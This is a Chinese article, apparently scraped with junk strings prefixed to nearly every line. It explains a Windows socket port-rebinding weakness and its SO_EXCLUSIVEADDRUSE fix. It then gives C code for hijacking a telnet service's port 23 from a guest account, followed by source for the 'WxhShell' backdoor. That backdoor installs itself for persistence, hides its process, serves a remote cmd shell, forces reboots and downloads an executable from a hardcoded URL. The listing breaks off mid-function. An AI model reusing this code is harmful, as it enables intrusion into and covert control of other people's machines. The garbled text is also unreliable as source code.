在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
f-Sb:O!V s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
UwLa9Dn^ gG}<l ': saddr.sin_family = AF_INET;
/q=<OEC @'S-nn,sO saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Mqq7;w@(J M8h9i2 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
NTV0DkX fE(rDQI 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
bNXT*HOZb3 `18G
5R 这意味着什么?意味着可以进行如下的攻击:
/h_BF\VBs n@*NQ`(_ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
[P^ .=F aJub(" 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
xHf
l>C' noacnQ_I$ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
{9z EnVfg 4u<oe_n 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
E]68IuP@' s>kzt1,x 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
v8LKv`I's )0NA*<Q+. 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
us/x.qPy2 n04Zji(F@ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
8 }-"&-X WKN\*N < #include
hp)3@&T #include
#q%&,;4 #include
c(o8uWn #include
YYhRdU/g DWORD WINAPI ClientThread(LPVOID lpParam);
IkD\YPL; int main()
.7oz {
Mq$e5&/ WORD wVersionRequested;
o0AREZ+I DWORD ret;
rt f}4. WSADATA wsaData;
291v
R] BOOL val;
<jxTI%'f59 SOCKADDR_IN saddr;
Up8#Nz
T SOCKADDR_IN scaddr;
NKRNEq! int err;
LdA&F&
pI SOCKET s;
gzeG5p SOCKET sc;
Ra.<D. int caddsize;
<CeDIX t HANDLE mt;
daaurT DWORD tid;
(}'0K? wVersionRequested = MAKEWORD( 2, 2 );
.Zo8KwkFY err = WSAStartup( wVersionRequested, &wsaData );
#\fApRL if ( err != 0 ) {
=YI<L8@g~ printf("error!WSAStartup failed!\n");
xmbkn}@A return -1;
p!173y,nL }
9kTU|py saddr.sin_family = AF_INET;
!}U&%2<69 9"&HxyOfX //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
rNdap*. B+,Z 3* saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
41$7P[M; saddr.sin_port = htons(23);
s<n5^Vxy if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
[5>0om5 {
e)O6k7U$ printf("error!socket failed!\n");
^ygN/a>rr return -1;
hV_0f_Og }
9^XT,2Wwf val = TRUE;
zcDVvP //SO_REUSEADDR选项就是可以实现端口重绑定的
st~f}w@ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
7R ;! {
Wo\NX05-? printf("error!setsockopt failed!\n");
(C1]R41' return -1;
D[ny%9 : }
" J$vt` //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
wtaeF+u-R- //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
*joM[ML` 6 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
iN<Tn8-YH6 a>6!?:Rj if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
S&FMFXF@ {
5s`NR<|2L ret=GetLastError();
@32JMS< printf("error!bind failed!\n");
yPKeatH] return -1;
g?)9zJ9 }
S'lZ'H / listen(s,2);
YEQ}<\B\& while(1)
[
q22?kT {
y1B3F5 caddsize = sizeof(scaddr);
J1hc :I<; //接受连接请求
*o`bBdZ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Jk 0;<2j if(sc!=INVALID_SOCKET)
^I@43Jy/ {
[{L4~(uU8 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
%3|0_ if(mt==NULL)
Od)]FvO {
)Yy`$` printf("Thread Creat Failed!\n");
ohOze\T)= break;
Kb#py6 }
*ix&"|h }
@ITJ}e4 CloseHandle(mt);
vA*!82 }
fU8 &fo%ER closesocket(s);
skf7Si0z WSACleanup();
{b}Ri&oEOH return 0;
y>UM~E }
_}8O15B| DWORD WINAPI ClientThread(LPVOID lpParam)
PH^AT<U:T {
!D!Q]M5oU SOCKET ss = (SOCKET)lpParam;
eE '\h SOCKET sc;
+m^ gj:yL unsigned char buf[4096];
?l
&S:`
L SOCKADDR_IN saddr;
p$0G EYwM long num;
(0bvd DWORD val;
Lp.,:z7 DWORD ret;
$<OX\f% //如果是隐藏端口应用的话,可以在此处加一些判断
q]DV49UK //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
C5c@@ch : saddr.sin_family = AF_INET;
ia?{]!7$ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
4 bw8^ saddr.sin_port = htons(23);
!"Jne'f if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
RQ;pAO {
KC[ql}JP printf("error!socket failed!\n");
D37N*9} return -1;
f![?og)I% }
sB"Oi|#lk val = 100;
7jQOwzj if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
*VG#SK {
olB?"M=H ret = GetLastError();
5hF
iK
K7 return -1;
.y\j .p }
HZX(kYV if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Kc$j<MRtv {
)v
!GiZ"7 ret = GetLastError();
J^m#984 return -1;
E_[|ZrIO&* }
dkVF if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
dDK4I3a {
#N.W8mq printf("error!socket connect failed!\n");
|4^us|XY closesocket(sc);
UzTFT:\ closesocket(ss);
0K<y
} return -1;
{OtD+% }
c07'mgsU while(1)
pnl7a$z {
Uus%1hC%a //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
?%-VSL>$w= //如果是嗅探内容的话,可以再此处进行内容分析和记录
~)xg7\k //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
hLK5s1#K num = recv(ss,buf,4096,0);
0}tf*M+a if(num>0)
2.)xWCG send(sc,buf,num,0);
c5C 2xE}T else if(num==0)
094~ s break;
WT;4J<O/ num = recv(sc,buf,4096,0);
E%8Op{zv_ if(num>0)
v'na{" send(ss,buf,num,0);
$a.fQ<,\X else if(num==0)
k<(G)7'gm break;
HI&N&a9C }
xMsSZ{j%5 closesocket(ss);
.$&mWytw= closesocket(sc);
=;Ap+} return 0 ;
Hz~?"ts@; }
R!{^qHb UVa:~c$U4 {,xI|u2R ==========================================================
}% 2hBl/ w{TZN{Y 下边附上一个代码,,WXhSHELL
\vwsRT 1 oHh~!#u ==========================================================
{;mT.[
ja !K2^ #include "stdafx.h"
jEU`ko_ X%JQ_Z #include <stdio.h>
QiO4fS'~W #include <string.h>
]rC2jB\,M #include <windows.h>
7 6 nrDE #include <winsock2.h>
W3Gg<!*Uo #include <winsvc.h>
D/U=zDpiB #include <urlmon.h>
l/*NscYtQ x;N@_FZ7KY #pragma comment (lib, "Ws2_32.lib")
r7|_Fm Qf #pragma comment (lib, "urlmon.lib")
C?dQ
QB$ fG dT2}gd #define MAX_USER 100 // 最大客户端连接数
A$ 2 AYQ #define BUF_SOCK 200 // sock buffer
"2'4b #define KEY_BUFF 255 // 输入 buffer
IkWV|E K<3,=gL9[ #define REBOOT 0 // 重启
t .\<Q#bN# #define SHUTDOWN 1 // 关机
dlv1liSXL5 3g79pw2w= #define DEF_PORT 5000 // 监听端口
p9X{E%A<: `|uwR5 #define REG_LEN 16 // 注册表键长度
~W/|RP7S #define SVC_LEN 80 // NT服务名长度
kz!CxI ( CU`yi.)T{ // 从dll定义API
DjLSl,Z typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
\:mZ)f3K= typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
e};\"^HH typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
s2Rg-:7 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
|7CFm [LF<aR5 // wxhshell配置信息
Ot<vn34mt: struct WSCFG {
OK] _.v} int ws_port; // 监听端口
BT *z^ZH char ws_passstr[REG_LEN]; // 口令
'G)UIjl int ws_autoins; // 安装标记, 1=yes 0=no
*`]#ntz9 char ws_regname[REG_LEN]; // 注册表键名
/LK,:6 char ws_svcname[REG_LEN]; // 服务名
)lhPl char ws_svcdisp[SVC_LEN]; // 服务显示名
GbB:K2 char ws_svcdesc[SVC_LEN]; // 服务描述信息
e)M)q!nG char ws_passmsg[SVC_LEN]; // 密码输入提示信息
O~*`YsL9 int ws_downexe; // 下载执行标记, 1=yes 0=no
w}rsboU char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
EP'I char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Cs2F/M' Spm0DqqR? };
+tCNJ<S@l$ o4t6NDa // default Wxhshell configuration
#?_8 *? struct WSCFG wscfg={DEF_PORT,
UFl+|wf "xuhuanlingzhe",
$6DA<v^=z 1,
TbQ5 "Wxhshell",
/H'F4-> "Wxhshell",
|*5HNP "WxhShell Service",
X3zpU7`Av+ "Wrsky Windows CmdShell Service",
D!WyT`T "Please Input Your Password: ",
<$@*'i^7Ez 1,
jU2vnGw_ "
http://www.wrsky.com/wxhshell.exe",
3/s" ;Kg, "Wxhshell.exe"
\r`><d };
vrX@T?> &|YJ?}, // 消息定义模块
a+=.(g char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
`Kb"`}`_vm char *msg_ws_prompt="\n\r? for help\n\r#>";
hM "6-60 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
`|`Qrv4} char *msg_ws_ext="\n\rExit.";
8<:.DFq char *msg_ws_end="\n\rQuit.";
v[XTH 2 char *msg_ws_boot="\n\rReboot...";
krMO<(x+ char *msg_ws_poff="\n\rShutdown...";
]9PQKC2& char *msg_ws_down="\n\rSave to ";
|w+N(wcJ ',bSJ4)Y char *msg_ws_err="\n\rErr!";
?F"mZu char *msg_ws_ok="\n\rOK!";
SUN!8
qFA l|j}Ggen char ExeFile[MAX_PATH];
nm#,oX2C int nUser = 0;
srQ]TYH , HANDLE handles[MAX_USER];
.C\## int OsIsNt;
uY]';OtG cNWmaCLN$ SERVICE_STATUS serviceStatus;
dn(!wC] SERVICE_STATUS_HANDLE hServiceStatusHandle;
kR<sSLEb zg2d}"dV // 函数声明
aTvyzr1 int Install(void);
oGcgd$%ZB int Uninstall(void);
_Xf1FzF+a int DownloadFile(char *sURL, SOCKET wsh);
Y&6jFT_ int Boot(int flag);
7{#p'.nc5 void HideProc(void);
D!`[fjs6A int GetOsVer(void);
uw+nll*W% int Wxhshell(SOCKET wsl);
Wg|6{'a void TalkWithClient(void *cs);
5U2%X
pO int CmdShell(SOCKET sock);
Q9bnOvKe| int StartFromService(void);
q[U pP`Z% int StartWxhshell(LPSTR lpCmdLine);
] &8em1 6tH}K VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
{!I`EN] VOID WINAPI NTServiceHandler( DWORD fdwControl );
)z7CT|h7S &lzY"Y*hA0 // 数据结构和表定义
$<-a>~^Tp SERVICE_TABLE_ENTRY DispatchTable[] =
H:G``Vq;0m {
Hk}P {wscfg.ws_svcname, NTServiceMain},
L1kn="5 {NULL, NULL}
aj?ZVa6 };
Te+# z>!./z]p // 自我安装
@WazSL;N int Install(void)
jZ~girA {
>l0Qd1 char svExeFile[MAX_PATH];
/[/L%;a'p HKEY key;
"-:H$ strcpy(svExeFile,ExeFile);
nk!uO^ BsA4/Bf // 如果是win9x系统,修改注册表设为自启动
-o/Vp>_UOE if(!OsIsNt) {
}oD^tU IK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
%qV:h# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
m+M^we*R RegCloseKey(key);
'A[PUSEE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
D?BegF RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
?<J~SF Tt RegCloseKey(key);
l9QI lTc7 return 0;
5B%KiE&p }
'z91aNG] }
D{t_65c- }
tO&n$$ else {
%]F/!n -medD G // 如果是NT以上系统,安装为系统服务
0s8fF"$ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
blomB2vQ if (schSCManager!=0)
0=+feB1T {
y:E$n! SC_HANDLE schService = CreateService
E!X>C^ (
7Ws88Qs) schSCManager,
BuvnY wscfg.ws_svcname,
fbM>jK wscfg.ws_svcdisp,
_gH$
,.j/ SERVICE_ALL_ACCESS,
Swf%WuDj SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
xm=Gt$>.o SERVICE_AUTO_START,
+L=Xc^ SERVICE_ERROR_NORMAL,
}S*]#jr& svExeFile,
|J@
&lBlq NULL,
%V1j M NULL,
IPTFx
)]G NULL,
;0|:.q NULL,
o]I8Ghk>/z NULL
k^d^Todq. );
;[4=?GL* if (schService!=0)
rPr]f; {
~p'|A}9[/ CloseServiceHandle(schService);
l_;6xkv4 CloseServiceHandle(schSCManager);
97HI9R strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
o;DK]o>kH strcat(svExeFile,wscfg.ws_svcname);
W NeBthq6 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
nWc@ufY RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
W9}
,f RegCloseKey(key);
(:]+IjnE return 0;
#Mk3cp^Yl }
EXbZ9 o* }
JPL`/WA0 CloseServiceHandle(schSCManager);
1.N2!:&G| }
+tt!xfy }
: &nF> "Uf1;;b return 1;
amExZ/ }
s;l"'6:_ &E6V'*<93 // 自我卸载
Oc,HnyV+ int Uninstall(void)
y5KeUMcu {
LRaO}-<b HKEY key;
{2Ew^Li :,yC\,H^ if(!OsIsNt) {
>\~Er@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
"*`!.9pt RegDeleteValue(key,wscfg.ws_regname);
2z$!} RegCloseKey(key);
hwvi tD!0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
]1zud RegDeleteValue(key,wscfg.ws_regname);
#l`\'0`. RegCloseKey(key);
30SQ&j[N] return 0;
~K5A$s2 }
QrFKjmD< }
Y^DGnx("m }
3.P7GbN else {
Xf"<
>M O8>&J-+2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
raSga'uT; if (schSCManager!=0)
+84
p/B# {
} 7:T?
`V: SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
j[mII5e7g if (schService!=0)
|c2sJy j* {
x)Zm5&"Gg if(DeleteService(schService)!=0) {
[n&ES\o#( CloseServiceHandle(schService);
2wPc
yD CloseServiceHandle(schSCManager);
\M|:EG% return 0;
\b6{u6?+ }
~z]VDEJ{q CloseServiceHandle(schService);
`'5vkO> }
gMZ+kP` CloseServiceHandle(schSCManager);
_NwHT`O[ }
br TP}A }
;ThFB 4Z=`; return 1;
]
>w@@A }
&tf(vU;,' Z'uiU e`& // 从指定url下载文件
m]}U!XT int DownloadFile(char *sURL, SOCKET wsh)
=vQ J2Rg {
VpB)5> HRESULT hr;
f8WI@]1F char seps[]= "/";
sSwY!"; char *token;
X<$DNRN char *file;
?*xH
HI/ char myURL[MAX_PATH];
An`*![ char myFILE[MAX_PATH];
x@/:{B F#)bGi strcpy(myURL,sURL);
~#P]NWW%. token=strtok(myURL,seps);
L AA(2 while(token!=NULL)
XpkOC o 02 {
|'P$zMAF file=token;
k?L2LIB< token=strtok(NULL,seps);
%{3q=9ii }
7{w}0PMx b$Dh|-8 GetCurrentDirectory(MAX_PATH,myFILE);
W#^.)V strcat(myFILE, "\\");
KZcmNli&A strcat(myFILE, file);
h
7l>(3 send(wsh,myFILE,strlen(myFILE),0);
{J/Fp# send(wsh,"...",3,0);
a]%sks hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
u8%X~K\ if(hr==S_OK)
S3WUccv return 0;
2P^qZDG 8I else
Wi!"Vcn return 1;
TXyiCS3 u^JsKG+,: }
YHu]\'Ff goF87^M // 系统电源模块
[eOv fD int Boot(int flag)
'DpJ#w\81 {
Q[q`)~| HANDLE hToken;
f{[0;qDJ TOKEN_PRIVILEGES tkp;
|</) 6r U~"Y8g#qgy if(OsIsNt) {
4*E5@{D OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Ks6\lpr LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
/Yg&:@L tkp.PrivilegeCount = 1;
t&[<Dl/L tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
>nih:5J,ja AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
9^8OIv?m8 if(flag==REBOOT) {
g*LD}`X/- if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
8 Zp^/43 return 0;
s/C'f4 }
~7*2Jp' else {
:lvBcFw if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
U-m MKRV return 0;
p nI= }
)78T+7Kq }
]cmX f else {
nu-&vX if(flag==REBOOT) {
:E~rve' if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
#RU8yT return 0;
m~Q24Z]!'& }
+`{OOp= else {
q}VdPt>X/ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Ov?J"B'F return 0;
IOuqC.RJ}o }
S1mMz
i }
vW vu&3tx DU]KD%kl return 1;
qdv O>k3 }
xz5A[)N zUv#%Q8vw // win9x进程隐藏模块
6},[HpXRc4 void HideProc(void)
|m
?ZE: {
&TA{US3~ ]Zc|<f; HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
-rm[. if ( hKernel != NULL )
bGgpPV {
e3 :L]4t pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
nM b@
B ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
l$EN7^%w FreeLibrary(hKernel);
h !R=t }
ArNQ}F/ "2sk1 return;
N8#j|yf }
T>L?\- lG94^|U // 获取操作系统版本
A(
vdlj int GetOsVer(void)
YE{t?Y\5 {
(?zD!%
k OSVERSIONINFO winfo;
<"P-7/j3j winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
hdrsa}{g GetVersionEx(&winfo);
^ W?cuJ8 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
3)\fZYu) return 1;
X|eZpIA45 else
zB`woI28 return 0;
?&~q^t?u }
V8TdtGB.|h G--X)h- // 客户端句柄模块
15<? [`:6 int Wxhshell(SOCKET wsl)
Y-YuY {
zp1ym}9M SOCKET wsh;
\P?X`]NwnO struct sockaddr_in client;
T+$H[&j DWORD myID;
ozRTY9S
_; @CL#B98jl while(nUser<MAX_USER)
1H/I- {
cAEvv[ int nSize=sizeof(client);
.\^0RyJE wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Hy[: _E if(wsh==INVALID_SOCKET) return 1;
%'H DP3 I_u/ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
=huV(THU if(handles[nUser]==0)
.)!QsBU closesocket(wsh);
*$NZi*z3 else
xV5UaD< nUser++;
~:bdS 4w }
'Uf?-t*LT@ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
6xJffl \?^2}K/ return 0;
Z}dK6h5+' }
e:9EP, )XK\[tL // 关闭 socket
$P0q! void CloseIt(SOCKET wsh)
'!Hs"{~{ {
6,3o_"J! closesocket(wsh);
crP2jF! nUser--;
d"#Zp ExitThread(0);
j"69uj` R }
gK[;"R)4o@ tZ9i/ =S // 客户端请求句柄
$Xu3s~:S void TalkWithClient(void *cs)
Ytlzn% {
3$k#bC cA
q3Gh SOCKET wsh=(SOCKET)cs;
0^-1d2Z~ char pwd[SVC_LEN];
WxGD*% char cmd[KEY_BUFF];
&HM-UC| char chr[1];
qM(}|fMbN int i,j;
!`Rh2g*o9 /;Tc] while (nUser < MAX_USER) {
([u|j V;XKvH if(wscfg.ws_passstr) {
nG!<wlY14P if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
2Kz+COP+ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
xZ9:9/Vg //ZeroMemory(pwd,KEY_BUFF);
}bjZeh. i=0;
FoyYWj?,R while(i<SVC_LEN) {
'{,xQf*x [!A[oK9i C // 设置超时
p%"dYH%]&0 fd_set FdRead;
M`Er&nQs struct timeval TimeOut;
G:1'}RC : FD_ZERO(&FdRead);
}p7iv:P=3 FD_SET(wsh,&FdRead);
y~
=H`PAE TimeOut.tv_sec=8;
`um,S TimeOut.tv_usec=0;
^hC'\09=c int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
lrT2*$ w3 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
)S)L9('IxT tF0jH+7J- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
B ;1qy[ pwd
=chr[0]; LmF ,en5
if(chr[0]==0xd || chr[0]==0xa) { \beO5]KS<
pwd=0; C8}:z\A_@Z
break; }9'`3vsJ
} 7z{wYCw
i++; -1g:3'%
P
} 8-#%l~dr
$RPW/Lyiq
// 如果是非法用户,关闭 socket }~XWtWbd-
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l]R0r{{
} yLX $SR
ATNOb
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &r5q,l&@n
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5yy:JTAH5
`C+<!)2
while(1) { #.bW9j/
$"^K~5Q
ZeroMemory(cmd,KEY_BUFF); 86r5!@WN
>1~
/:DJ
// 自动支持客户端 telnet标准 _/s"VYFZ
j=0; i6`"e[aT[o
while(j<KEY_BUFF) { pN%&`]Wev
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N4!`iS Y
cmd[j]=chr[0]; Dm>"c;2
if(chr[0]==0xa || chr[0]==0xd) { IU%|K~_n
cmd[j]=0; NI >%v
break; @w[i%F,&`
} y/lF1{}5
j++; XIHN6aQ{X
} _!\d?]Ya
+2~kHrv
// 下载文件 V2YK T,5
if(strstr(cmd,"http://")) { _IYaMo.n
send(wsh,msg_ws_down,strlen(msg_ws_down),0); o\IMYT
if(DownloadFile(cmd,wsh)) uepyH
send(wsh,msg_ws_err,strlen(msg_ws_err),0); qLN^9PdEE
else c3A\~tHW
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }htjT/Nm
} dj0; tQ=C
else { XIeLu"TSL
~Iu! B
Y
switch(cmd[0]) { yB*,)x0
@
FK|O^->B
// 帮助 `2s!%/
case '?': { Hcq.Lq;2:
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'rD6MY
break; La26"C"X
} P3$eomX'
// 安装 wl
Oeoi
case 'i': { tli.g
if(Install()) )ZJvx%@i
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &SY!qTxF
else [I $+wWW_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C|(A/b
break; nV;'UpQw
} RgE`H r
// 卸载 "/#JC}]
case 'r': { tT$OnZu&
if(Uninstall()) &1xCPKIr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xvr5$x|h
else 2ej7Ql_@c
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <qCa9@Ea
break; <AHpk5Sn{
} DX>a0-Xj
// 显示 wxhshell 所在路径 L[` l80
case 'p': { s[1ao"sZ^
char svExeFile[MAX_PATH]; lo1Ui`V
strcpy(svExeFile,"\n\r"); gg;r;3u
strcat(svExeFile,ExeFile); E h%61/
send(wsh,svExeFile,strlen(svExeFile),0); 5jdZC(q5a
break; qtGJJ#^,
} .1x04Np!
// 重启 (
?V`|[+u
case 'b': { FqKJids-
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;t`
?|
if(Boot(REBOOT)) EP;/[O
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )*|/5wW1
else { P:qmg"i@3
closesocket(wsh); !*IMWm>
ExitThread(0); ~}/Dl#9R!
} l^B.iB
break; E_HB[9
} bQAznd0
// 关机 KaGUpHw
case 'd': { &c`-/8c
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dj|5'<l2
if(Boot(SHUTDOWN)) ?0tg}0|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); da{]B5p\
else { h$>F}n
j
closesocket(wsh); !,J#
r
ExitThread(0); 73WSW/^F
} B*7kX&Uq
break; cw;wv+|k
} T X`X5j
// 获取shell xS18t="
case 's': { zd?@xno
CmdShell(wsh); J(
}2Ua_
closesocket(wsh); @u3`lhUcT
ExitThread(0); e5h*GKF
break; .u`[|:K
} q!K:N?
// 退出 2pS<;k`
case 'x': { Ae)xFnuq3
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4 23zX6
CloseIt(wsh); ^\)a[OWp
break; HDyf]2N*N
} -DDA b(2*
// 离开 xVvUx,t
case 'q': { 0oe<=L]F
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Vs>Pv$kW
closesocket(wsh); w7nt $L5
WSACleanup(); #XV=,81w
exit(1); ,CO2d)}
break; vG&>-Z
} yev!Nw
} C3AWXO ^
} C2LPLquD+
~PQ.l\C
// 提示信息 NGra/s,9|
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]5W$EvZ9)
} lwnO
} }ze+ tf
XLpP*VH3
return; [)H 6`w
} t@RYJmW
St=nf\P&F
// shell模块句柄 ;%|im?
int CmdShell(SOCKET sock) ;D5>iek5
{ }E`Y.=
S
STARTUPINFO si; 3f|}p{3
ZeroMemory(&si,sizeof(si)); mDD.D3RS
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fV:15!S[
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c?::l+
PROCESS_INFORMATION ProcessInfo; 77e*9/6@
char cmdline[]="cmd"; ^df wWP
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z['.RF'`
return 0; J )1
} dzcF15H1
;!yK~OBxt
// 自身启动模式 :I"CQ
C[Z
int StartFromService(void) E}^V@ :j>
{ k(Yz2
typedef struct xh6(~'$
{ =;Id["+
DWORD ExitStatus; K2m>D=w
DWORD PebBaseAddress; AZ:7_4jz
DWORD AffinityMask; n
`j._G
DWORD BasePriority; ~{x1/eH
